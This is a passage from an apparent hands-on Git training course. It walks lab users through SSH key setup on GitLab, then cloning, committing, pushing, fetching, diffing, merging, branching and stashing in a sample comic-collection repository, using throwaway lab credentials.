"hacker@local" and "hacker1!" as the password. The password is the
same as the paraphrase, but that is for simplicity purposes. In the
real world, we would not want to re-use passwords, as it would weaken
our defense against potential cyber attackers.
Once we log in, we will arrive at the Projects page as shown below.
We will need to click the project called
"follow_along/my_comic_collection".
This will bring up the "my_comic_collection" repository.
As shown in the screenshot above, this is where we can interact
with the files and folders within our remote repository through the
web browser. We can also perform more advanced actions, including
the adjustment of repository configuration settings, viewing repo
analytics, and the implementing DevOps processes. Some of the features
are specific to GitLab, but other hosting software has similar
functionality.
We'll return to this screen momentarily. In the top right, as shown
in the screenshot below, let's find the avatar button and the downward
arrow. Let's click it to open up more options, then click Edit
profile.
On the left side, there's a User Settings pane. Figure
11 depicts the different options available
under the User Settings pane. We will use the SSH Keys option to add
our SSH public key so our client can authenticate to the server. This
is a very popular method of having the local repository authenticate
to the remote repository.
We will need to copy the contents of id_rsa.pub from our terminal
and paste it into the Key text box. We might have to resize the text
box to view the whole key. The screenshot below shows an example of
copying our public key.
Then, we will need to click Add key to add our key. This will load a
page with the key.
Next, we'll return to the SSH Keys page to confirm our SSH key was
added. It is displayed at the bottom right under Your SSH keys.
Lastly, let's go back to our project. At the top left, click the
three horizontal lines, also known as the hamburger button, with
the word "Menu". Click the Projects options, and then click Your
projects at the bottom. Figure 15 shows the
navigational path. Once the list of projects is displayed, let's click
our project to load the next page.
By clicking it, this will load our projects page.
We have various protocols that we can use for client-server
communication, like HTTP, SSH, etc. We won't cover all the protocols,
but will focus on SSH.
Let's find the blue Clone button with the downward arrow. We need to
click it to open the different cloning options. We should identify the
Clone with SSH option and click the clipboard icon to the right to
copy the text. We will use this URL to clone the remote repository to
our local machine. Cloning is the term used by Git to refer to copying
a remote repository to a local repository. The screenshot below shows
which button to click to copy the URL.
We'll come back to this page. For now, let's go back to our terminal.
Let's clone my_comic_collection from the remote repository.
We will need to begin in the hacker's home directory. Next, we will
use git clone[764] with the copied URL as the argument.
Make sure to type "yes" if asked to continue connecting. Type in your
passphrase if you changed it from the walkthrough.
hacker@git:~$ git clone ssh://git@git:2222/follow_along/my_comic_collection.git
Cloning into 'my_comic_collection'...
The authenticity of host '[git]:2222 ([192.168.50.130]:2222)' can't be established.
ED25519 key fingerprint is SHA256:jne3VkeY9reHf76vzqfmqQwrbFQmeBWtLY7B6U5IO6c.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[git]:2222' (ED25519) to the list of known hosts.
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
Receiving objects: 100% (3/3), 2.78 KiB | 2.78 MiB/s, done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Listing 43 - Clone my_comic_collection repository
The command ran successfully. Let's change directories and review the
contents.
hacker@git:~$ cd my_comic_collection/
hacker@git:~/my_comic_collection$ ls -la
total 20
drwxrwxr-x 3 hacker hacker 4096 Jan 01 00:00 .
drwxr-x--- 7 hacker hacker 4096 Jan 01 00:00 ..
drwxrwxr-x 8 hacker hacker 4096 Jan 01 00:00 .git
-rw-rw-r-- 1 hacker hacker 6208 Jan 01 00:00 README.md
Listing 44 - Review local repository
This folder is a local repository. We know this because the .git
directory exists and we are not hosting it.
Let's add our user settings to the config file.
hacker@git:~/my_comic_collection$ git config --local user.email "hacker@local"
hacker@git:~/my_comic_collection$ git config --local user.name "Hacker"
Listing 45 - Add user settings to Git configuration
Let's create some folders and add text in a few files.
hacker@git:~/my_comic_collection$ mkdir Heroes
hacker@git:~/my_comic_collection$ mkdir Villains
hacker@git:~/my_comic_collection$ echo "Spider-Man" > Heroes/MarvelHeroes
hacker@git:~/my_comic_collection$ echo "Superman" > Heroes/DCHeroes
hacker@git:~/my_comic_collection$ echo "Batman" >> Heroes/DCHeroes
hacker@git:~/my_comic_collection$ echo "WonderWoman" >> Heroes/DCHeroes
hacker@git:~/my_comic_collection$ echo "Catwoman" > Villains/DCVillains
Listing 46 - Add files and folders
Let's review the status.
hacker@git:~/my_comic_collection$ git status
On branch main
Your branch is up to date with 'origin/main'.
Untracked files:
(use "git add <file>..." to include in what will be committed)
Heroes/
Villains/
nothing added to commit but untracked files present (use "git add" to track)
Listing 47 - Check status
Git informs us that we have a few untracked files.
Let's add the files to the staging state, then commit the changes.
hacker@git:~/my_comic_collection$ git add *
hacker@git:~/my_comic_collection$ git commit -m "Add initial files and folders for heroes and villains"
[main 50b7151] Add initial files and folders for heroes and villains
3 files changed, 5 insertions(+)
create mode 100644 Heroes/DCHeroes
create mode 100644 Heroes/MarvelHeroes
create mode 100644 Villains/DCVillains
Listing 48 - Add and commit
Great! We were able to add all the untracked files using the wildcard
symbol (*). Then, we committed our work.
Let's add a few more items, move them to staging, and commit them.
hacker@git:~/my_comic_collection$ echo "Ultron" > Villains/MarvelVillains
hacker@git:~/my_comic_collection$ echo "Green Goblin" >> Villains/MarvelVillains
hacker@git:~/my_comic_collection$ git add *
hacker@git:~/my_comic_collection$ git commit -m "add Marvel Villains folder with a few Villains"
[main f92ff00] add Marvel Villains folder with a few Villains
1 file changed, 2 insertions(+)
create mode 100644 Villains/MarvelVillains
Listing 49 - Add and commit more items
So far, we have made two commits. Let's check the git status.
hacker@git:~/my_comic_collection$ git status
On branch main
Your branch is ahead of 'origin/main' by 2 commits.
(use "git push" to publish your local commits)
nothing to commit, working tree clean
Listing 50 - Git status after two commits
We are informed that our branch is ahead of 'origin/main' by two
commits, and that we should use the git push command to update the
remote repository with our local commits.
If we recall from earlier, commit snapshots contain the changes that
we made to the data. One thing Git does is compare the snapshots from
the remote repository to the local repository. It'll inform us if
our local repository is ahead or behind. In other words, if we are
ahead, we have snapshots that are not copied to the remote repository.
If we're behind, our local repository is missing snapshots that the
remote repository has. As we move through the module, pay attention to
these kinds of messages.
Let's check the log. Keep in mind that our commit hashes will differ.
hacker@git:~/my_comic_collection$ git log
commit f92ff0 0d0b29a1302183d81d8f968af289b0ee0e (HEAD -> main)
Author: Hacker <hacker@local>
Date: Wed Aug 3 21:40:25 2022 +0000
add Marvel Villains folder with a few Villains
commit 50b7151f92b87b498d59fbd4c302ee621a88a5cd
Author: Hacker <hacker@local>
Date: Wed Aug 3 21:30:38 2022 +0000
Add initial files and folders for heroes and villains
commit 0a294b d11cffa316e3e1d191fd8b7fb964fb5f8b (origin/main, origin/HEAD)
Author: Administrator <magneto@local>
Date: Wed Aug 3 14:57:00 2022 +0000
Initial commit
Listing 51 - Check the log
The HEAD ref is currently on commit f92ff0. As previously stated,
HEAD points to the last commit of our current branch. GitLab's default
branch name is main. This is similar to master from before.
If we direct our attention two commits down to 0a294b,
"origin/main, origin/HEAD" is displayed. By default, the remote
repository is named origin and the remote branch is main. The HEAD
(or last commit) of the remote branch is 0a294b. This means the
current branch, named main, in our local repository is two commits
ahead of the current branch, named main, in the remote repository.
We will fix this momentarily.
We can verify remote repository names with the git
remote[765] command and the -v option.
hacker@git:~/my_comic_collection$ git remote -v
origin ssh://git@git:2222/follow_along/my_comic_collection.git (fetch)
origin ssh://git@git:2222/follow_along/my_comic_collection.git (push)
Listing 52 - Get the remote repository name
We can also change the name using git remote with the rename
option.
hacker@git:~/my_comic_collection$ git remote rename origin Thanos
hacker@git:~/my_comic_collection$ git remote -v
Thanos ssh://git@git:2222/follow_along/my_comic_collection.git (fetch)
Thanos ssh://git@git:2222/follow_along/my_comic_collection.git (push)
hacker@git:~/my_comic_collection$ git remote rename Thanos origin
hacker@git:~/my_comic_collection$ git remote -v
origin ssh://git@git:2222/follow_along/my_comic_collection.git (fetch)
origin ssh://git@git:2222/follow_along/my_comic_collection.git (push)
Listing 53 - Change the remote repository name
Let's make sure to change it back to "origin" before continuing.
So far, we've confirmed that Git is only tracking the files locally.
Although not required, we can also go back to the browser and refresh
our remote repository page to confirm this.
The remote repository only contains the README.md file because
it has not been updated with our local changes. To update the remote
repository with the changes from the local repository, we need to
"push" the updates from the client to the server. We can use the git
push[766] command.
hacker@git:~/my_comic_collection$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 12, done.
Counting objects: 100% (12/12), done.
Compressing objects: 100% (6/6), done.
Writing objects: 100% (11/11), 830 bytes | 166.00 KiB/s, done.
Total 11 (delta 1), reused 0 (delta 0), pack-reused 0
To ssh://git:2222/follow_along/my_comic_collection.git
0a294bd..f92ff00 main -> main
Listing 54 - Run git push
Perfect. Let's run a git status.
hacker@git:~/my_comic_collection$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
Listing 55 - Check git status after git push
We've confirmed that our branch, main, is up to date with the remote
branch, origin/main.
Next, we will refresh the GitLab web page and review what happened.
The page displays evidence that our remote repository was updated.
All three of our commits are visible. The most recent commit with the
commit message, author, and relative time of when it was submitted is
shown in the middle of the screen.
At the bottom, our directory structure is visible, which was not
present before.
Let's do something similar with a second developer, or account. We
will use the collector user.
First, we will need to SSH (or switch users) using the
collector:collector1! credentials. Next, we will generate
the SSH keys and copy the public key to GitLab. We will use
collector@local:collector1! as the GitLab account credentials.
Once we have confirmed our SSH public key was copied, we will clone
my_comic_collection repository to collector's home directory.
Here is an example of the bash commands:
collector@git:~$ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/collector/.ssh/id_rsa):
Created directory '/home/collector/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/collector/.ssh/id_rsa
Your public key has been saved in /home/collector/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:aevMnsXKmcpk52oRuPSOh8lJK7APyZSna3uBuTwXhRM collector@git
The key's randomart image is:
+---[RSA 4096]----+
| |
| E |
| o. |
| .oo.. . |
| ooooo .S |
|++ooo o. o |
|+=.ooBo.o o |
|.*ooB++B * |
|.+*. o++% |
+----[SHA256]-----+
collector@git:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbcjTfSDxVaikoQSIG6sH98FpNog9rOxQ0LlMbWbp7NwSeRf3tSiHd4COJVHqG2DYVOK3+6x6s2AzAGaLgbEEGiRvRFZzUsTPYGY1B+0y/0+qQ13bcFdripsHC/7jIRJIrOEsamJgRlMV7uh99ULc5zM/8dnF2iwhquuYdiko3vLXGYSxP2c3uPJSFW9vmRcsQ+nKZADdIPF/lSqjQXz6hSJShcdVPf8Y4z7g2xdN8lrjTOoPB8yOsl5yRq5PVlmo5m80fbhfVckCcm7ckGtO3BUSDctm7gace+Pv98fQJ9ii3Tw9dTfayDAvqg+RlJmfgHpMf2y2cOTHxm8rePvg1jxqOzTYMz50U9Wemh5q+EKxtFKfwpPBpBAQBp/b0AcXrNQ7ja7308XUK7FQ3UDh1VRlKhoS6+q2KQV0mxz+WnWZDgI6Ldd5SMg7Z6avzWPHeN91uyNZZH1NP3BMIxmOm1d1aWdkjHvusH2WfFvrS7yo5EWpNqoJhnfnVCf1ONoDj4k7cMkybJKm96PcA0LVeos/klFq4w/nks47upTuXI28oxa67VMCPtF7F7oUk4qgEZuJbXIzjuaJAh6FvdImdmrXYBMTVy2B1Z7Ape/vgdTnLA04pyDC23yU3mRiStJE7EuNzgn5u+Z5exyq5fUcvIOkA9YOsBBpr+D3jRgZurQ== collector@git
collector@git:~$ git clone ssh://git@git:2222/follow_along/my_comic_collection.git
Cloning into 'my_comic_collection'...
The authenticity of host '[git]:2222 ([192.168.50.130]:2222)' can't be established.
ED25519 key fingerprint is SHA256:jne3VkeY9reHf76vzqfmqQwrbFQmeBWtLY7B6U5IO6c.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[git]:2222' (ED25519) to the list of known hosts.
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (8/8), done.
Receiving objects: 100% (14/14), 3.56 KiB | 3.56 MiB/s, done.
Resolving deltas: 100% (1/1), done.
remote: Total 14 (delta 1), reused 0 (delta 0), pack-reused 0
collector@git:~$ ls
my_comic_collection
collector@git:~$ cd my_comic_collection/
Listing 56 - Setting up collector user local repository
Okay, so now that we cloned the repository to the collector user's
home directory, we can make some additions.
We will set up our user profile, make a few changes, commit them, and
push the commits to the remote repository.
collector@git:~/my_comic_collection$ git config --local user.email collector@local
collector@git:~/my_comic_collection$ git config --local user.name Collector
collector@git:~/my_comic_collection$ echo "Hulk" >> Heroes/MarvelHeroes
collector@git:~/my_comic_collection$ echo "Thor" >> Heroes/MarvelHeroes
collector@git:~/my_comic_collection$ echo "Penguin" >> Villains/DCVillains
collector@git:~/my_comic_collection$ echo "Two-Face" >> Villains/DCVillains
collector@git:~/my_comic_collection$ echo "Scarecrow" >> Villains/DCVillains
collector@git:~/my_comic_collection$ mkdir Locations
collector@git:~/my_comic_collection$ echo "Gotham City" > Locations/DCLocations
collector@git:~/my_comic_collection$ echo "Asgard" > Locations/MarvelLocations
collector@git:~/my_comic_collection$ git add *
collector@git:~/my_comic_collection$ git commit -m "add some heroes, villains, and locations"
[main ac00274] add some heroes, villains, and locations
4 files changed, 7 insertions(+)
create mode 100644 Locations/DCLocations
create mode 100644 Locations/MarvelLocations
collector@git:~/my_comic_collection$ git push
...
Listing 57 - Add new content to repository
Great! We made a few changes and pushed our commits to the remote
repository. If we refresh our project page on GitLab, our changes are
displayed.
Figure 18 shows the new folder
that we created and that the time stamps are updated. We successfully
updated the remote repository.
Let's switch back to the hacker user. This user has a local copy of
the repository, but we know it is out of date.
We know this because we are in control of both user accounts. In the
real world, we would likely only have one user account. So, how could
we tell if changes to the remote repository were made and what the
difference is between the remote and the local repositories?
Let's explore that. First, we are going to use the git
fetch[767] command. This command copies the objects and
references. Remember when we created the objects without actually
creating the files? This is a very similar situation. By downloading
just the objects and refs, without the actual files/folders data, we
have more flexibility in terms of what we want to do next. This will
make more sense momentarily.
hacker@git:~/my_comic_collection$ git fetch
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14) , done.
remote: Compressing objects: 100% (5/5) , done.
...
Listing 58 - Running git fetch command
If we compare the results from the previous git push command
to the git fetch command, we can confirm the same number of
objects (14) and compressed objects (5). Next, we can use git
diff[768] to identify the differences between the local
(main) and remote (origin/main) repositories. The following Listing is
truncated and we have included line numbers to help explain each line.
The ouput will not include line numbers.
hacker@git:~/my_comic_collection$ git diff main origin/main
1 diff --git a/Heroes/MarvelHeroes b/Heroes/MarvelHeroes
2 index 113032a..2e59c15 100644
3 --- a/Heroes/MarvelHeroes
4 +++ b/Heroes/MarvelHeroes
5 @@ -1 +1,3 @@
6 Spider-Man
7 +Hulk
8 +Thor
...
Listing 59 - Running git diff command
Line one outlines the files being compared. In this case it's two
versions of the same file. a/ is the identifier for one version,
while b/ is for the other version. Line two is the SHA1 hashes of
the objects involved in the diff. Lines three and four informs us
that the minus sign (-) represents changes associated with the first
file, while the plus sign (+) represents change associated with the
second file. The last four lines (5-8) are referred to as hunks and
it is a unified diff, or diff with a -u option. This provides the
specific line numbers and number of lines displayed and associated
with the changes of each file. Line five between the at symbols (@)
can generally be broken down as -<starting line>,<number of lines>
+<starting line>,<number of lines>. The minus and plus represent
the two comparison files. In this case, the first file just has one
line shown starting at line 1, therefore (-1) and the second file has
three lines shown starting at line 1, so (+1,3). "Spider-Man" was left
unchanged, while "Hulk" and "Thor" were added. If changes were made
to the line, the before and after would be displayed. If anything was
deleted, a minus sign would appear before it, instead of a plus sign.
Becoming comfortable and being able to understand this output will
become a lot easier with experience.
We should have a better understanding of how to interpret the diff
command, which is very important in being able to compare different
commits or versions. This will become more critical when comparing
different branches and merging branches.
Speaking of merging, this is the next step. In this case, we only
have one branch, but there are two different versions. Merging is the
concept of combining two or more development histories into one. In
this case, it's simple because we are updating changes from the remote
to the local repository. A more advanced example would be if we had
changes to the local repository and remote repository, and we needed
to update both repositories with the changes from the other. This
situation is referred to as a conflict, where we have to identify
what changes to merge and which ones to not merge. We will discuss
merging more in depth in the Git Branching and Merging Learning
Module.
So far, we have confirmed the exact differences between the
repositories with git fetch and git diff. The final step is
to actually update our local repository, or merge. We can achieve this
with the git merge[769] command.
hacker@git:~/my_comic_collection$ git merge
Updating f92ff00..fb795ba
Fast-forward
Heroes/MarvelHeroes | 2 ++
Locations/DCLocations | 1 +
Locations/MarvelLocations | 1 +
...
Listing 60 - Running git merge command
We can confirm that our local repository now mirrors the remote
repository by running git log and comparing the results to the
commit history from GitLab.
hacker@git:~/my_comic_collection$ git log
commit fb795ba6b8731c150be16fdf00a78675153de30d (HEAD -> main, origin/main, origin/HEAD)
Author: Collector <collector@local>
Date: Thu Aug 4 14:21:42 2022 +0000
add some heroes, villains, and locations
...
Listing 61 - Running git log command
We can view the commit log in GitLab by clicking the Commits tag
located at the top of the page.
By clicking the Commits tag, we are able to review the commit log as
shown in the screenshot below.
Okay, we confirmed the two repositories match by comparing the commit
log of the the local repository to the log of the remote repository.
Alternatively, we can run a git pull[770] command. This
command runs git fetch, and depending on the situation, also runs
git merge. In other situations, it may run git rebase instead
of git merge. We will cover rebasing in the Git Branching and
Merging Learning Module.
hacker@git:~/my_comic_collection$ git pull
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Already up to date.
Listing 62 - Running git pull command
In this example, our local and remote repositories are in sync, so
there is nothing to update.
It is wise to know both methods of updating the local repository. The
major difference between them is having the ability to view granular
differences with git fetch, and address any merge conflicts before
merging. In situations where we know conflicts are unlikely, we can
certainly just use git pull as a faster method.
In this section we learned a few more commands to interact with data
between the remote and local repositories. Now we can clone a remote
repository, push data from local to remote, and pull it from remote
to local. We can also identify differences between the repositories by
fetching object data and comparing the differences.
This module is best followed by the Git Branching and Merging Learning
Module, where we build upon our foundation of Git. We will cover areas
like branching, stashing, merging, rebasing, squashing, and forking.
Git Branching and Merging
In this Learning Module, we will cover the following Learning Unit:
- Git better: branching, stashing, merging, rebasing, squashing, and
forking
In this module, we will pick up where we left off in the Getting
Started with Git Learning Module. We will explore a few slightly
more advanced Git commands and features, like branching, stashing,
rebasing, and forking.
To get the most out of this training, you should
have a basic understanding of concepts like data
structures,[736-1] objects (OOP),[737-1]
databases,[738-1] programming,[739-1] and
cryptography.[740-1] We will assume those prerequisites
have been met.
While Git can be used across many industries, we will focus on its use
mostly from the perspective of software development.
Git Better: Branching, Stashing, Merging, Rebasing, Squashing, and Forking
This Learning Unit covers the following Learning Objectives:
- Demonstrate branching & stashing
- Understand merging
- Understand rebasing and squashing
- Understand forking
At this point, we should be more confident with using Git. Let's
expand that knowledge and review some more advanced aspects.
Following along isn't required but is highly encouraged, as hands-on
training helps to reinforce the concepts. To follow along, we
will need to turn on the associated VM and when applicable, use
the credentials below to SSH into the machine and as the SSH key
passphrase.
- hacker:hacker1!
- collector:collector1!
Some of the commands that we will practice and explore can be done on
our own machine, while some require the lab environment. Again, to get
the most out of this module, it's best that we follow along using the
module VM.
Although this walkthrough continues from the Getting Started with
Git Learning Module, you are not required to have completed it.
Keep in mind that certain information/metadata - like exact hashes
and the number of Git objects - may differ due to factors like time
stamp. However, the concepts remain the same.
While we discussed branches in Getting Started with Git, we focused
on the default branch, main or master, located on the local and
remote repositories. In this section, we'll further explore branches
by creating and working with multiple local and remote branches.
Branches are lines of development and we can have multiple branches
to reflect the work being done on separate features, bugs, or other
areas of development. From a workflow perspective, it is encouraged
to work on a branch that is separate from the main branch, then merge
it into the main branch. This allows senior developers to review the
work, or perform quality assurance / quality control (QA/QC), or other
functions important to your wokflow.
We'll cover merging more in depth in the next section. For now, let's
review a few commands that allow us to create, delete, and interact
with branches.
Let's imagine we are a new developer tasked with creating a new
feature for an existing application. We cloned the repository locally,
so now we have to create a new branch.
Let's SSH into the lab VM as the hacker user. Within the user's home
directory, find a folder named my_comic_collection. This folder,
which we will use for this section, is an existing Git repository
created in the Getting Started with Git Learning Module.
First, let's list the local branches with git
branch.[771]
hacker@git:~/my_comic_collection$ git branch
* main
Listing 1 - Listing local branches
We can gather two key pieces of information from the output. First, we
have one local branch named main. Second, the asterisk (*) shows
us that we are currently working in the main branch, which makes
sense since no other branches exist locally.
There are two main methods for creating branches. One method is to use
git branch <branchName>. The other is to use git checkout -b,
which we'll discuss shortly.
While there isn't a universal naming standard for branches, there
are some best practices. In general, short and descriptive names are
recommended.
Here are a few guidelines we should follow in most situations:
- Using names related to software development like feature, hot fix,
bugfix, work in progress (WIP), etc. - Combining keywords with numbers. For example, this may be the
fourth feature of quarter 1 (Q1), so q1_feature4. Another example
is using unique IDs that align with a ticketing system. For example,
bug_5492-fix-username-error refers to a bug with ticket number 5492,
and we are fixing a username error. - Since white spaces can't be used, using dashes or underscores as
spaces helps with readability. - Including developer/author name as part of the branch. This can help
with quickly identifying what individuals are working on.
Naming convention can also be impacted by other factors, including the
purpose for which Git is used. For example, software developers often
have house rules for the naming of branches, whereas other domains
like research or education may not be as strict. As varied industries
move towards using Git, it will be more common to see in-house best
practices and standards for the naming of branches.
Let's create a new branch by providing a name to git branch. Then
we'll list the branches again.
hacker@git:~/my_comic_collection$ git branch newFeature_darkMode
hacker@git:~/my_comic_collection$ git branch
* main
newFeature_darkMode
Listing 2 - Create a new branch and confirming it
Perfect! Our new branch was created, but we're still working on the
main branch.
Let's switch to the new branch using git
checkout[772] and list the branches again to confirm
we're working on the correct one.
hacker@git:~/my_comic_collection$ git checkout newFeature_darkMode
Switched to branch 'newFeature_darkMode'
hacker@git:~/my_comic_collection$ git branch
main
* newFeature_darkMode
Listing 2 - Switching to the new branch and confirming it
Great! We were able to switch to the newFeature_darkMode branch.
We confirmed this by listing the local branches and making sure the
asterisk is next to our newly-created branch.
To reinforce some of the aspects we learned in Getting Started with
Git, let's investigate the /refs/heads folder and the HEAD
file inside the .git directory.
hacker@git:~/my_comic_collection$ ls -la .git/refs/heads/
total 16
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 .
drwxrwxr-x 5 hacker hacker 4096 Jan 01 00:00 ..
-rw-rw-r-- 1 hacker hacker 41 Jan 01 00:00 main
-rw-rw-r-- 1 hacker hacker 41 Jan 01 00:00 newFeature_darkMode
hacker@git:~/my_comic_collection$ cat .git/refs/heads/main
e30b7a96562c0edf75c13d26a1ece87f46e52705
hacker@git:~/my_comic_collection$ cat .git/refs/heads/newFeature_darkMode
e30b7a96562c0edf75c13d26a1ece87f46e52705
hacker@git:~/my_comic_collection$ cat .git/HEAD
ref: refs/heads/newFeature_darkMode
Listing 3 - Display /refs/heads directory and HEADS file
As expected, /refs/heads contains files of the heads of the
branches, which are pointers to the last commit. In this case, once
we created a new branch from main, both branches pointed to the same
snapshot because their hashes are the same.
The HEAD file is a ref to the current branch, which is
newFeature_darkMode. Let's delete this branch and use an
alternative, and slightly faster, way of creating and switching to a
branch.
We will use git branch with the -d option and the name of the
local branch to delete it.
hacker@git:~/my_comic_collection$ git branch -d newFeature_darkMode
error: Cannot delete branch 'newFeature_darkMode' checked out at '/home/hacker/my_comic_collection'
Listing 4 - Attempt to delete branch
Oops! We can't delete branches that are currently checked out. We will
have to switch to - or checkout - main, and then delete the new
branch.
hacker@git:~/my_comic_collection$ git checkout main
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
hacker@git:~/my_comic_collection$ git branch -d newFeature_darkMode
Deleted branch newFeature_darkMode (was e30b7a9).
Listing 5 - Branch deleted
Perfect! Our branch was successfully deleted. Next, let's use git
checkout with the -b option, and the name of the new branch.
This creates the branch and switches to it, combining the git
branch and git checkout commands in one.
hacker@git:~/my_comic_collection$ git checkout -b newFeature_darkMode
Switched to a new branch 'newFeature_darkMode'
hacker@git:~/my_comic_collection$ git branch
main
* newFeature_darkMode
Listing 6 - Create and switch branches in one command
Please note that when we create a branch, it will copy the commits of
the branch we currently have checked out.
Let's look at an example. Assume that main and branch1 have
different commits. If we want to create branch2 from branch1, we
would need to have branch1 checked out before creating branch2. If
we created branch2 while actively in the main branch, the commits
in branch2 would be copied from main instead of branch1.
Now, let's create a file with some text.
hacker@git:~/my_comic_collection$ echo "Super cool code that creates Dark Mode feature" > darkMode.txt
Listing 7 - Create a file
Next, let's check the status to confirm our new file is an untracked
file as part of the new branch.
hacker@git:~/my_comic_collection$ git status
On branch newFeature_darkMode
Untracked files:
(use "git add <file>..." to include in what will be committed)
darkMode.txt
nothing added to commit but untracked files present (use "git add" to track)
Listing 8 - Run the git status command
We've confirmed our file is untracked under the new branch. Let's
stage and commit it.
hacker@git:~/my_comic_collection$ git add darkMode.txt
hacker@git:~/my_comic_collection$ git commit -m "inital code for dark mode feature"
[newFeature_darkMode d9843d4] inital code for dark mode feature
1 file changed, 1 insertion(+)
create mode 100644 darkMode.txt
Listing 9 - Commit the new file
Now our new branch has a commit that the main branch does not. We
can confirm this by reviewing the commit log. To reduce output, we
will use the --pretty option with the oneline argument. This
argument displays the commit history by providing the commit hash and
commit message only.
hacker@git:~/my_comic_collection$ git log --pretty=oneline
d9843d460ef3b7575b9cf8bfaf5af534067f7f6c (HEAD -> newFeature_darkMode ) inital code for dark mode feature
e30b7a96562c0edf75c13d26a1ece87f46e52705 (origin/main, origin/HEAD, main ) add some heroes, villains, and locations
d4d2ee7b3b5dcc9331ed26c8143950ad5acbd6de add Marvel Villains folder with a few Villains
97f64673604bb0ca75dd9824671996e1355fbe5f Add initial files and folders for heroes and villains
13ef5e4d376a609430954c2994bf93e9d1f1e7c3 Initial commit
Listing 10 - Review the commit log
The commit log shows us the last commit associated with each branch.
Branching allows us to work independently from other lines of
development. This idea can be useful in many scenarios. For example,
we can create a branch that is our working branch. Another branch
could be the official development branch used for beta testing prior
to going live in production. The last branch might be a production
branch that includes the code used in production.
Right now, the d9843d4 commit object is only part of the
newFeature_darkMode branch. We know this because the text, main,
appears next to e30b7a. This signifies the head of the main
branch. In other words, that is the last commit for that branch.
While the HEAD for the newFeature_darkMode branch is next to
d9843d4. This means the d9843d4 commit is not part of main.
Because this output isn't the best to view the development lines for
multiple branches, we will soon explore a different option to use with
git log.
Before we move on, let's review a useful Git feature. Let's say,
for example, that while we're working on a new feature, we're given
a different, but quick, task. We don't want to add our unfinished
feature to the staged state or even commit it yet, but it does need to
be temporarily saved while we work on the quick task.
To better understand this scenario, let's make a few changes to the
current branch and check the status.
hacker@git:~/my_comic_collection$ echo "more super cool code" >> darkMode.txt
hacker@git:~/my_comic_collection$ git add darkMode.txt
hacker@git:~/my_comic_collection$ echo "third line of super cool code" >> darkMode.txt
hacker@git:~/my_comic_collection$ git status
On branch newFeature_darkMode
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
modified: darkMode.txt
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: darkMode.txt
Listing 11 - Add two lines to darkMode.txt
We have one staged and one unstaged change. Next, let's switch
branches to main.
hacker@git:~/my_comic_collection$ git checkout main
error: Your local changes to the following files would be overwritten by checkout:
darkMode.txt
Please commit your changes or stash them before you switch branches.
Aborting
Listing 12 - Attempt to switch to main
Uh oh! We are informed that our uncommitted changes could be lost,
and therefore aborts our command. We could commit our changes, which
we don't want to do in this case, or we could stash them. This
concept will "stash" or temporarily store our changes. Git refers
to our current state as a "dirty" working directory, meaning we
have uncommitted changes. Stashing saves the changes in a separate
container, and "cleans" our working directory. We will be able to
retrieve our stashed data at a later time.
Let's give this a try. By default, untracked (and ignored) changes
will not be stashed. Unless explicitly specified, Git will only stash
staged and unstaged changes. In this case, we only have staged and
unstaged changes, so we can move forward with the default command.
Let's stash our changes with the git stash[773] command
and the push option. Then, we will need to check the status again
to verify if anything changed.
hacker@git:~/my_comic_collection$ git stash push
Saved working directory and index state WIP on newFeature_darkMode: d9843d4 inital code for dark mode feature
hacker@git:~/my_comic_collection$ git status
On branch newFeature_darkMode
nothing to commit, working tree clean
Listing 13 - Stashing our changes
Perfect! Our working tree is clean because we stashed our changes.
But where did it go? Let's investigate the .git directory, more
specifically the /refs/ folder.
hacker@git:~/my_comic_collection$ ls -la .git/refs/
total 24
drwxrwxr-x 5 hacker hacker 4096 Jan 01 00:00 .
drwxrwxr-x 8 hacker hacker 4096 Jan 01 00:00 ..
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 heads
drwxrwxr-x 3 hacker hacker 4096 Jan 01 00:00 remotes
-rw-rw-r-- 1 hacker hacker 41 Jan 01 00:00 stash
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 tags
Listing 14 - Viewing the stash file under /refs/ directory
We found a file named stash that Git created. Let's explore its
contents.
hacker@git:~/my_comic_collection$ cat .git/refs/stash
60c70c661f2cb8f6ad9f8ed505f28eb3cb4c036c
Listing 15 - Displaying contents of stash file
It contains a SHA-1 hash. Let's continue to analyze this further by
reviewing the contents of the 60c70c object. First, let's identify
what type of object it is, then inspect it.
hacker@git:~/my_comic_collection$ git cat-file -t 60c70c
commit
hacker@git:~/my_comic_collection$ git cat-file -p 60c70c
tree dad954dec43c5c9f431e14d432c1ca5ecf29ae86
parent d9843d460ef3b7575b9cf8bfaf5af534067f7f6c
parent 9cf992e73cbf1c54319f331f81a0311973840581
author Hacker <hacker@local.com> 1660321536 +0000
committer Hacker <hacker@local.com> 1660321536 +0000
WIP on newFeature_darkMode: d9843d4 inital code for dark mode feature
Listing 16 - Reviewing object 1ddb40
Very interesting! It's a commit object. There's a lot to explain
here. At the bottom in red, we notice some metadata. This is Git's
way of telling us that there is WIP, or Work In Progress, on the
newFeature_darkMode branch, and it lists the last commit from when
the changes were stashed. Second (in green), there are two parent
